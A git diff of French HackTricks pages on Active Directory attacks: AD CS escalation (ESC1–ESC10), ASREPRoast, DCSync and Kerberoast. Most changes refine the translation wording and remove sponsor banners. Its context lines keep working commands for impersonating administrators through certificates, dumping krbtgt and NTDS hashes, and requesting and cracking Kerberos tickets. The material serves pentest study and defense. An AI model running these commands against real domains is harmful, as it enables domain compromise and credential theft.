d'obtenir des droits d'inscription.** - **Les modèles de certificats sont configurés pour définir des EKU qui facilitent l'authentification :** - Des identifiants d'Extended Key Usage (EKU) tels que Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ou pas d'EKU (SubCA) sont inclus. -- **La possibilité pour les demandeurs d'inclure un subjectAltName dans la Demande de Signature de Certificat (CSR) est autorisée par le modèle :** +- **La possibilité pour les demandeurs d'inclure un subjectAltName dans la Certificate Signing Request (CSR) est autorisée par le modèle :** - Active Directory (AD) priorise le subjectAltName (SAN) dans un certificat pour la vérification d'identité s'il est présent. Cela signifie qu'en spécifiant le SAN dans une CSR, un certificat peut être demandé pour usurper l'identité de n'importe quel utilisateur (par exemple, un administrateur de domaine). La possibilité de spécifier un SAN par le demandeur est indiquée dans l'objet AD du modèle de certificat par la propriété `mspki-certificate-name-flag`. Cette propriété est un masque de bits, et la présence du drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permet la spécification du SAN par le demandeur. > [!CAUTION] @@ -41,12 +37,12 @@ Pour **trouver des modèles de certificats vulnérables**, vous pouvez exécuter Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -Pour **exploiter cette vulnérabilité pour usurper un administrateur**, on pourrait exécuter : +Pour **exploiter cette vulnérabilité pour usurper l'identité d'un administrateur**, on pourrait exécuter : ```bash Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' ``` -Ensuite, vous pouvez transformer le **certificat généré en format `.pfx`** et l'utiliser pour **vous authentifier à nouveau en utilisant Rubeus ou certipy** : +Ensuite, vous pouvez transformer le **certificat généré au format `.pfx`** et l'utiliser pour **vous authentifier en utilisant Rubeus ou certipy** à nouveau : ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 @@ -136,10 +132,10 @@ Si un **attaquant** possède les **permissions** requises pour **modifier** un * Les permissions notables applicables aux modèles de certificat incluent : - **Propriétaire :** Accorde un contrôle implicite sur l'objet, permettant la modification de n'importe quel attribut. -- **Contrôle total :** Permet une autorité complète sur l'objet, y compris la capacité de modifier n'importe quel attribut. -- **ÉcrirePropriétaire :** Permet la modification du propriétaire de l'objet à un principal sous le contrôle de l'attaquant. -- **ÉcrireDacl :** Permet l'ajustement des contrôles d'accès, pouvant potentiellement accorder à un attaquant le Contrôle total. -- **ÉcrirePropriété :** Autorise l'édition de n'importe quelles propriétés de l'objet. +- **FullControl :** Permet une autorité complète sur l'objet, y compris la capacité de modifier n'importe quel attribut. +- **WriteOwner :** Permet la modification du propriétaire de l'objet à un principal sous le contrôle de l'attaquant. +- **WriteDacl :** Permet l'ajustement des contrôles d'accès, pouvant potentiellement accorder à un attaquant FullControl. +- **WriteProperty :** Autorise l'édition de n'importe quelles propriétés de l'objet. ### Abus @@ -149,7 +145,7 @@ Un exemple de privesc comme le précédent : ESC4 est lorsque un utilisateur a des privilèges d'écriture sur un modèle de certificat. Cela peut par exemple être abusé pour écraser la configuration du modèle de certificat afin de rendre le modèle vulnérable à ESC1. -Comme nous pouvons le voir dans le chemin ci-dessus, seul `JOHNPC` a ces privilèges, mais notre utilisateur `JOHN` a le nouveau lien `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai également mis en œuvre cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hachage NT de la victime. +Comme nous pouvons le voir dans le chemin ci-dessus, seul `JOHNPC` a ces privilèges, mais notre utilisateur `JOHN` a le nouveau lien `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai également mis en œuvre cette attaque, qui est connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hachage NT de la victime. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` @@ -172,7 +168,7 @@ Le vaste réseau de relations interconnectées basées sur les ACL, qui inclut p - L'objet ordinateur AD du serveur CA, qui peut être compromis par des mécanismes comme S4U2Self ou S4U2Proxy. - Le serveur RPC/DCOM du serveur CA. -- Tout objet ou conteneur AD descendant au sein du chemin de conteneur spécifique `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ce chemin inclut, mais n'est pas limité à, des conteneurs et objets tels que le conteneur des modèles de certificats, le conteneur des autorités de certification, l'objet NTAuthCertificates, et le conteneur des services d'inscription. +- Tout objet ou conteneur AD descendant dans le chemin de conteneur spécifique `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ce chemin inclut, mais n'est pas limité à, des conteneurs et objets tels que le conteneur des modèles de certificats, le conteneur des autorités de certification, l'objet NTAuthCertificates, et le conteneur des services d'inscription. La sécurité du système PKI peut être compromise si un attaquant à faible privilège parvient à prendre le contrôle de l'un de ces composants critiques. @@ -213,7 +209,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ ``` > [!WARNING] > Après les mises à jour de sécurité de mai 2022, les **certificats** nouvellement émis contiendront une **extension de sécurité** qui incorpore la propriété `objectSid` du **demandeur**. Pour ESC1, ce SID est dérivé du SAN spécifié. Cependant, pour **ESC6**, le SID reflète le **`objectSid` du demandeur**, et non le SAN.\ -> Pour exploiter ESC6, il est essentiel que le système soit susceptible à ESC10 (Mappages de certificats faibles), qui priorise le **SAN par rapport à la nouvelle extension de sécurité**. +> Pour exploiter ESC6, il est essentiel que le système soit susceptible à ESC10 (Mappages de certificats faibles), qui privilégie le **SAN par rapport à la nouvelle extension de sécurité**. ## Contrôle d'accès de l'autorité de certification vulnérable - ESC7 @@ -229,7 +225,7 @@ Cela fournit des informations sur les droits principaux, à savoir **`ManageCA`* #### Abus -Avoir des droits **`ManageCA`** sur une autorité de certification permet au principal de manipuler les paramètres à distance en utilisant PSPKI. Cela inclut l'activation du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour permettre la spécification SAN dans n'importe quel modèle, un aspect critique de l'escalade de domaine. +Avoir des droits **`ManageCA`** sur une autorité de certification permet au principal de manipuler les paramètres à distance en utilisant PSPKI. Cela inclut l'activation du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour permettre la spécification de SAN dans n'importe quel modèle, un aspect critique de l'escalade de domaine. La simplification de ce processus est réalisable grâce à l'utilisation de la cmdlet **Enable-PolicyModuleFlag** de PSPKI, permettant des modifications sans interaction directe avec l'interface graphique. @@ -270,7 +266,7 @@ La technique repose sur le fait que les utilisateurs ayant le droit d'accès **` #### Abus -Vous pouvez **vous accorder le droit d'accès `Manage Certificates`** en ajoutant votre utilisateur en tant que nouvel agent. +Vous pouvez **vous accorder le droit d'accès `Manage Certificates`** en ajoutant votre utilisateur en tant que nouvel officier. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -332,7 +328,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) Plusieurs **méthodes d'inscription basées sur HTTP** sont prises en charge par AD CS, mises à disposition par des rôles de serveur supplémentaires que les administrateurs peuvent installer. Ces interfaces pour l'inscription de certificats basée sur HTTP sont susceptibles aux **attaques de relais NTLM**. Un attaquant, depuis une **machine compromise, peut usurper n'importe quel compte AD qui s'authentifie via NTLM entrant**. En usurpant le compte de la victime, ces interfaces web peuvent être accessibles par un attaquant pour **demander un certificat d'authentification client en utilisant les modèles de certificat `User` ou `Machine`**. - L'**interface d'inscription web** (une ancienne application ASP disponible à `http:///certsrv/`), par défaut, ne propose que HTTP, ce qui n'offre pas de protection contre les attaques de relais NTLM. De plus, elle permet explicitement uniquement l'authentification NTLM via son en-tête HTTP d'autorisation, rendant des méthodes d'authentification plus sécurisées comme Kerberos inapplicables. -- Le **Service d'inscription de certificats** (CES), le **Service de politique d'inscription de certificats** (CEP) et le **Service d'inscription des dispositifs réseau** (NDES) prennent par défaut en charge l'authentification négociée via leur en-tête HTTP d'autorisation. L'authentification négociée **prend en charge à la fois** Kerberos et **NTLM**, permettant à un attaquant de **downgrader à l'authentification NTLM** lors des attaques de relais. Bien que ces services web activent HTTPS par défaut, HTTPS seul **ne protège pas contre les attaques de relais NTLM**. La protection contre les attaques de relais NTLM pour les services HTTPS n'est possible que lorsque HTTPS est combiné avec le binding de canal. Malheureusement, AD CS n'active pas la Protection étendue pour l'authentification sur IIS, ce qui est requis pour le binding de canal. +- Le **Service d'inscription de certificats** (CES), le **Service Web de politique d'inscription de certificats** (CEP) et le **Service d'inscription des dispositifs réseau** (NDES) prennent par défaut en charge l'authentification négociée via leur en-tête HTTP d'autorisation. L'authentification négociée **prend en charge à la fois** Kerberos et **NTLM**, permettant à un attaquant de **rétrograder à l'authentification NTLM** lors des attaques de relais. Bien que ces services web activent HTTPS par défaut, HTTPS seul **ne protège pas contre les attaques de relais NTLM**. La protection contre les attaques de relais NTLM pour les services HTTPS n'est possible que lorsque HTTPS est combiné avec le binding de canal. Malheureusement, AD CS n'active pas la Protection étendue pour l'authentification sur IIS, ce qui est requis pour le binding de canal. Un problème courant avec les attaques de relais NTLM est la **courte durée des sessions NTLM** et l'incapacité de l'attaquant à interagir avec des services qui **exigent la signature NTLM**. @@ -342,7 +338,7 @@ Néanmoins, cette limitation est surmontée en exploitant une attaque de relais account-persistence.md {{#endref}} -Une autre limitation des attaques de relais NTLM est que **une machine contrôlée par l'attaquant doit être authentifiée par un compte victime**. L'attaquant pourrait soit attendre, soit tenter de **forcer** cette authentification : +Une autre limitation des attaques de relais NTLM est que **une machine contrôlée par un attaquant doit être authentifiée par un compte victime**. L'attaquant pourrait soit attendre, soit tenter de **forcer** cette authentification : {{#ref}} ../printers-spooler-service-abuse.md @@ -384,7 +380,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Abus avec [Certipy](https://github.com/ly4k/Certipy) -La demande de certificat est faite par Certipy par défaut en fonction du modèle `Machine` ou `User`, déterminé par le fait que le nom du compte relayé se termine par un `$`. La spécification d'un modèle alternatif peut être réalisée grâce à l'utilisation du paramètre `-template`. +La demande de certificat est faite par Certipy par défaut en fonction du modèle `Machine` ou `User`, déterminé par le fait que le nom du compte relayé se termine par `$`. La spécification d'un modèle alternatif peut être réalisée grâce à l'utilisation du paramètre `-template`. Une technique comme [PetitPotam](https://github.com/ly4k/PetitPotam) peut ensuite être utilisée pour contraindre l'authentification. Lorsqu'il s'agit de contrôleurs de domaine, la spécification de `-template DomainController` est requise. ```bash @@ -409,7 +405,7 @@ Les conditions sous lesquelles le réglage de ce drapeau devient significatif in - `StrongCertificateBindingEnforcement` n'est pas ajusté à `2` (le paramètre par défaut étant `1`), ou `CertificateMappingMethods` inclut le drapeau `UPN`. - Le certificat est marqué avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans le réglage `msPKI-Enrollment-Flag`. -- Toute EKU d'authentification client est spécifiée par le certificat. +- Toute authentification client EKU est spécifiée par le certificat. - Les permissions `GenericWrite` sont disponibles sur n'importe quel compte pour compromettre un autre. ### Scénario d'abus @@ -463,7 +459,7 @@ Avec `StrongCertificateBindingEnforcement` configuré à `0`, un compte A avec d Par exemple, ayant des permissions `GenericWrite` sur `Jane@corp.local`, un attaquant vise à compromettre `Administrator@corp.local`. La procédure reflète ESC9, permettant d'utiliser n'importe quel modèle de certificat. -Initialement, le hachage de `Jane` est récupéré en utilisant des Shadow Credentials, exploitant le `GenericWrite`. +Initialement, le hachage de `Jane` est récupéré en utilisant les Shadow Credentials, exploitant le `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` @@ -635,15 +631,12 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target La configuration pour **l'inscription inter-forêts** est relativement simple. Le **certificat CA racine** de la forêt de ressources est **publié dans les forêts de comptes** par les administrateurs, et les certificats **CA d'entreprise** de la forêt de ressources sont **ajoutés aux conteneurs `NTAuthCertificates` et AIA dans chaque forêt de comptes**. Pour clarifier, cet arrangement accorde à la **CA dans la forêt de ressources un contrôle complet** sur toutes les autres forêts pour lesquelles elle gère la PKI. Si cette CA est **compromise par des attaquants**, des certificats pour tous les utilisateurs dans les forêts de ressources et de comptes pourraient être **falsifiés par eux**, brisant ainsi la frontière de sécurité de la forêt. -### Droits d'inscription accordés à des principes étrangers +### Droits d'inscription accordés aux principaux étrangers -Dans des environnements multi-forêts, la prudence est de mise concernant les CAs d'entreprise qui **publient des modèles de certificats** permettant aux **Utilisateurs Authentifiés ou à des principes étrangers** (utilisateurs/groupes externes à la forêt à laquelle appartient la CA d'entreprise) **des droits d'inscription et d'édition**.\ -Lors de l'authentification à travers une relation de confiance, le **SID des Utilisateurs Authentifiés** est ajouté au jeton de l'utilisateur par AD. Ainsi, si un domaine possède une CA d'entreprise avec un modèle qui **permet des droits d'inscription aux Utilisateurs Authentifiés**, un modèle pourrait potentiellement être **inscrit par un utilisateur d'une autre forêt**. De même, si **des droits d'inscription sont explicitement accordés à un principe étranger par un modèle**, une **relation de contrôle d'accès inter-forêts est ainsi créée**, permettant à un principe d'une forêt de **s'inscrire dans un modèle d'une autre forêt**. +Dans des environnements multi-forêts, la prudence est de mise concernant les CAs d'entreprise qui **publient des modèles de certificats** permettant aux **Utilisateurs Authentifiés ou aux principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle appartient la CA d'entreprise) **des droits d'inscription et d'édition**.\ +Lors de l'authentification à travers une relation de confiance, le **SID des Utilisateurs Authentifiés** est ajouté au jeton de l'utilisateur par AD. Ainsi, si un domaine possède une CA d'entreprise avec un modèle qui **permet des droits d'inscription aux Utilisateurs Authentifiés**, un modèle pourrait potentiellement être **inscrit par un utilisateur d'une autre forêt**. De même, si **des droits d'inscription sont explicitement accordés à un principal étranger par un modèle**, une **relation de contrôle d'accès inter-forêts est ainsi créée**, permettant à un principal d'une forêt de **s'inscrire dans un modèle d'une autre forêt**. Les deux scénarios entraînent une **augmentation de la surface d'attaque** d'une forêt à l'autre. Les paramètres du modèle de certificat pourraient être exploités par un attaquant pour obtenir des privilèges supplémentaires dans un domaine étranger. -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/asreproast.md b/src/windows-hardening/active-directory-methodology/asreproast.md index 49c1deaf2..12fe58ff9 100644 --- a/src/windows-hardening/active-directory-methodology/asreproast.md +++ b/src/windows-hardening/active-directory-methodology/asreproast.md @@ -2,21 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - ## ASREPRoast ASREPRoast est une attaque de sécurité qui exploite les utilisateurs qui manquent de l'**attribut requis de pré-authentification Kerberos**. Essentiellement, cette vulnérabilité permet aux attaquants de demander l'authentification d'un utilisateur auprès du Contrôleur de Domaine (DC) sans avoir besoin du mot de passe de l'utilisateur. Le DC répond alors avec un message chiffré avec la clé dérivée du mot de passe de l'utilisateur, que les attaquants peuvent tenter de craquer hors ligne pour découvrir le mot de passe de l'utilisateur. @@ -24,7 +9,7 @@ ASREPRoast est une attaque de sécurité qui exploite les utilisateurs qui manqu Les principales exigences pour cette attaque sont : - **Absence de pré-authentification Kerberos** : Les utilisateurs cibles ne doivent pas avoir cette fonctionnalité de sécurité activée. -- **Connexion au Contrôleur de Domaine (DC)** : Les attaquants ont besoin d'accéder au DC pour envoyer des demandes et recevoir des messages chiffrés. +- **Connexion au Contrôleur de Domaine (DC)** : Les attaquants ont besoin d'un accès au DC pour envoyer des demandes et recevoir des messages chiffrés. - **Compte de domaine optionnel** : Avoir un compte de domaine permet aux attaquants d'identifier plus efficacement les utilisateurs vulnérables via des requêtes LDAP. Sans un tel compte, les attaquants doivent deviner les noms d'utilisateur. #### Énumération des utilisateurs vulnérables (besoin d'identifiants de domaine) @@ -85,19 +70,4 @@ ASRepCatcher listen --- -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md index 77a62f3db..9387a3203 100644 --- a/src/windows-hardening/active-directory-methodology/dcsync.md +++ b/src/windows-hardening/active-directory-methodology/dcsync.md @@ -1,13 +1,5 @@ # DCSync -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %} - {{#include ../../banners/hacktricks-training.md}} ## DCSync @@ -16,7 +8,7 @@ La permission **DCSync** implique d'avoir ces permissions sur le domaine lui-mê **Notes importantes sur DCSync :** -- L'**attaque DCSync simule le comportement d'un contrôleur de domaine et demande à d'autres contrôleurs de domaine de répliquer des informations** en utilisant le protocole de service de réplication d'annuaire à distance (MS-DRSR). Comme MS-DRSR est une fonction valide et nécessaire d'Active Directory, il ne peut pas être désactivé. +- L'**attaque DCSync simule le comportement d'un contrôleur de domaine et demande à d'autres contrôleurs de domaine de répliquer des informations** en utilisant le protocole de service de réplication de répertoire à distance (MS-DRSR). Étant donné que MS-DRSR est une fonction valide et nécessaire d'Active Directory, il ne peut pas être désactivé. - Par défaut, seuls les groupes **Domain Admins, Enterprise Admins, Administrators et Domain Controllers** ont les privilèges requis. - Si des mots de passe de compte sont stockés avec un chiffrement réversible, une option est disponible dans Mimikatz pour retourner le mot de passe en texte clair. @@ -26,7 +18,7 @@ Vérifiez qui a ces permissions en utilisant `powerview` : ```powershell Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')} ``` -### Exploiter localement +### Exploiter Localement ```powershell Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` @@ -41,7 +33,7 @@ secretsdump.py -just-dc :@ -outputfile dcsync_hashes - un avec les **hashes NTLM** - un avec les **clés Kerberos** -- un avec les mots de passe en clair de l'NTDS pour tous les comptes configurés avec [**le chiffrement réversible**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) activé. Vous pouvez obtenir les utilisateurs avec le chiffrement réversible avec +- un avec les mots de passe en clair du NTDS pour tous les comptes configurés avec [**le chiffrement réversible**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) activé. Vous pouvez obtenir les utilisateurs avec le chiffrement réversible avec ```powershell Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol @@ -70,11 +62,3 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG - [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/) {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %} diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index cbfbf205a..095e255b9 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -1,32 +1,24 @@ # Kerberoast -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %} - {{#include ../../banners/hacktricks-training.md}} ## Kerberoast -Kerberoasting se concentre sur l'acquisition de **tickets TGS**, spécifiquement ceux liés aux services fonctionnant sous des **comptes d'utilisateur** dans **Active Directory (AD)**, à l'exclusion des **comptes d'ordinateur**. Le chiffrement de ces tickets utilise des clés provenant des **mots de passe des utilisateurs**, permettant la possibilité de **cracking de crédentiels hors ligne**. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété **"ServicePrincipalName"** non vide. +Kerberoasting se concentre sur l'acquisition de **TGS tickets**, spécifiquement ceux liés aux services fonctionnant sous des **comptes utilisateurs** dans **Active Directory (AD)**, excluant les **comptes d'ordinateur**. Le chiffrement de ces tickets utilise des clés provenant des **mots de passe utilisateurs**, permettant la possibilité de **cracking de credentials hors ligne**. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété **"ServicePrincipalName"** non vide. -Pour exécuter **Kerberoasting**, un compte de domaine capable de demander des **tickets TGS** est essentiel ; cependant, ce processus ne nécessite pas de **privilèges spéciaux**, le rendant accessible à quiconque ayant des **identifiants de domaine valides**. +Pour exécuter **Kerberoasting**, un compte de domaine capable de demander des **TGS tickets** est essentiel ; cependant, ce processus ne nécessite pas de **privilèges spéciaux**, le rendant accessible à quiconque ayant des **credentials de domaine valides**. ### Points Clés : -- **Kerberoasting** cible les **tickets TGS** pour les **services de comptes d'utilisateur** au sein de **AD**. -- Les tickets chiffrés avec des clés provenant des **mots de passe des utilisateurs** peuvent être **craqués hors ligne**. +- **Kerberoasting** cible les **TGS tickets** pour les **services de comptes utilisateurs** au sein de **AD**. +- Les tickets chiffrés avec des clés provenant des **mots de passe utilisateurs** peuvent être **crackés hors ligne**. - Un service est identifié par un **ServicePrincipalName** qui n'est pas nul. -- **Aucun privilège spécial** n'est nécessaire, juste des **identifiants de domaine valides**. +- **Aucun privilège spécial** n'est nécessaire, juste des **credentials de domaine valides**. ### **Attaque** > [!WARNING] -> Les **outils de Kerberoasting** demandent généralement **`RC4 encryption`** lors de l'exécution de l'attaque et de l'initiation des requêtes TGS-REQ. Cela est dû au fait que **RC4 est** [**plus faible**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) et plus facile à craquer hors ligne en utilisant des outils tels que Hashcat que d'autres algorithmes de chiffrement tels que AES-128 et AES-256.\ +> Les **outils de Kerberoasting** demandent généralement **`RC4 encryption`** lors de l'exécution de l'attaque et de l'initiation des requêtes TGS-REQ. Cela est dû au fait que **RC4 est** [**plus faible**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) et plus facile à cracker hors ligne en utilisant des outils tels que Hashcat que d'autres algorithmes de chiffrement tels que AES-128 et AES-256.\ > Les hachages RC4 (type 23) commencent par **`$krb5tgs$23$*`** tandis que ceux d'AES-256 (type 18) commencent par **`$krb5tgs$18$*`**.` #### **Linux** @@ -93,14 +85,6 @@ Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASC > [!WARNING] > Lorsqu'un TGS est demandé, l'événement Windows `4769 - Un ticket de service Kerberos a été demandé` est généré. -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %} - ### Cracking ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast @@ -115,7 +99,7 @@ Set-DomainObject -Identity -Set @{serviceprincipalname='just/whatever ``` Vous pouvez trouver des **outils** utiles pour les attaques **kerberoast** ici : [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -Si vous trouvez cette **erreur** sous Linux : **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`**, c'est à cause de votre heure locale, vous devez synchroniser l'hôte avec le DC. Il existe quelques options : +Si vous trouvez cette **erreur** sur Linux : **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`**, c'est à cause de votre heure locale, vous devez synchroniser l'hôte avec le DC. Il existe quelques options : - `ntpdate ` - Obsolète depuis Ubuntu 16.04 - `rdate -n ` @@ -141,7 +125,7 @@ En mettant en œuvre ces mesures, les organisations peuvent réduire considérab ## Kerberoast sans compte de domaine -En **septembre 2022**, un nouveau moyen d'exploiter un système a été mis en lumière par un chercheur nommé Charlie Clark, partagé via sa plateforme [exploit.ph](https://exploit.ph/). Cette méthode permet l'acquisition de **tickets de service (ST)** via une requête **KRB_AS_REQ**, qui ne nécessite remarquablement pas de contrôle sur un compte Active Directory. Essentiellement, si un principal est configuré de manière à ne pas nécessiter de pré-authentification—un scénario similaire à ce qui est connu dans le domaine de la cybersécurité comme une attaque **AS-REP Roasting**—cette caractéristique peut être exploitée pour manipuler le processus de requête. Plus précisément, en modifiant l'attribut **sname** dans le corps de la requête, le système est trompé pour émettre un **ST** plutôt que le standard Ticket Granting Ticket (TGT) chiffré. +En **septembre 2022**, un nouveau moyen d'exploiter un système a été mis en lumière par un chercheur nommé Charlie Clark, partagé via sa plateforme [exploit.ph](https://exploit.ph/). Cette méthode permet l'acquisition de **tickets de service (ST)** via une requête **KRB_AS_REQ**, qui ne nécessite remarquablement pas de contrôle sur un compte Active Directory. Essentiellement, si un principal est configuré de manière à ne pas nécessiter de pré-authentification—un scénario similaire à ce qui est connu dans le domaine de la cybersécurité comme une attaque **AS-REP Roasting**—cette caractéristique peut être exploitée pour manipuler le processus de requête. Plus précisément, en modifiant l'attribut **sname** dans le corps de la requête, le système est trompé pour émettre un **ST** plutôt que le Ticket Granting Ticket (TGT) chiffré standard. La technique est entièrement expliquée dans cet article : [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). @@ -156,7 +140,7 @@ GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "d ``` #### Windows -- [GhostPack/Rubeus de PR #139](https://github.com/GhostPack/Rubeus/pull/139): +- [GhostPack/Rubeus de la PR #139](https://github.com/GhostPack/Rubeus/pull/139): ```bash Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" ``` @@ -167,11 +151,3 @@ Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"d - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled) {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) pour créer facilement et **automatiser des workflows** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %} diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index ce0faceef..9c78692e3 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -1,32 +1,28 @@ -# Problème du Double Hop Kerberos +# Problème de Double Hop Kerberos {{#include ../../banners/hacktricks-training.md}} -
